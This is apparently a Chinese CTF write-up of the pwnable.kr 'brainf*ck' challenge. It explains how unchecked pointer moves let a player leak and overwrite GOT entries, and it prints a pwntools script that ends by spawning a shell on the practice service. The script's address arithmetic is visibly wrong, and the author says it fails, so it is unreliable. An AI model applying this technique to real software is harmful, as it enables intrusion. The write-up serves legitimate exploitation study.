pwnable.kr之brainf*ck
pwnable.kr之brainf*ck
今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获。
不多说了,今天看的是第二关的第一道题:brainf*ck。这道题实现了一个brainfuck解释器,从思路上来讲可以说是很秀了,核心思想是通过对指针的操作来改写got.plt表,从而劫持数据流。程序结构比较简单,我们先通过IDA看一下程序的结构。
brainf*ck这个函数里面,如果输入是一些特殊符号,会对p这个指针进行一个操作,p这个指针位于bss段。
这里看到不仅有一个p指针,还有一个tape指针,tape这个指针我们通过静态分析没办法直观的知道他的作用,这时候用gdb动态调试一下,在brainfuck函数的break处下一个断点,然后只输入一下特定的几个字符,只观察bss段的内容,就可以清晰地看出:p指针处存放的是tape的地址,tape处存放的是值。brainfuck里面,">","<"是对p指针进行操作,“+”,“-”是对指针指向的地址上的值进行操作。
到这里我没有思路,卡住了。
这里我觉得这道题的精华来了:可输入空间很大,但是got.plt表和bss段之间的距离很小,同时,它让我们可以对指针进行操作,但是没有规定操作的范围。所以,可以通过do_brainfunck函数来修改got.plt表的内容。
覆写got表那里,应该是这样的操作:,>
写入一个值,然后指针移动一个字节,写入下一个字节
泄露地址的时候,应该是这样的操作:.>
输出一个值,然后指针移动一个字节,输出下一个字节
程序在进入do_brainfuck函数之前,调用过puts函数的地址,所以got.plt表中有puts函数的实际地址
from pwn import * context.log_level='debug' DEBUG=1 if DEBUG: io=process('./bf') else: io=remote('pwnable.kr',9001) elf=ELF('./bf') libc=ELF('./bf_libc.so') tape_addr=0x0804A0A0 fgets_addr=0x08048450 main_addr=0x08048671 strlen_addr=0x0804A020 putchar_addr=0x0804A030 memset_addr=0x0804A02C gets_sym=libc.sym['gets'] system_sym=libc.sym['system'] puts_sym=libc.sym['puts'] payload='' payload+='<'*(tape_addr-putchar_addr) payload+='.' payload+='.>.>.>.>' payload+='<<<<'+',>,>,>,>' payload+='<<<<'*4+',>,>,>,>'+'<<<<' payload+='<'*(strlen_addr-fgets_addr)+',>,>,>,>' payload+='<'*(putchar_addr-fgets_addr+4) payload+='.' io.recv() io.send(payload) io.recv(1) putchar_addr=u32(io.recv(4)) offset1=system_sym-putchar_addr offset2=gets_sym-putchar_addr system_addr=putchar_addr+offset1 gets_addr=putchar_addr+offset2 io.send(p32(main_addr)) io.send(p32(gets_addr)) io.send(p32(system_addr)) io.sendline('/bin/sh\x00') io.interactive()
发送地址的时候有EOFError的问题,还没有想明白,根据别人的wp复现了。
先放在这里,看看有哪位路过的师傅能不能帮我解答,或者以后我想明白了再改吧。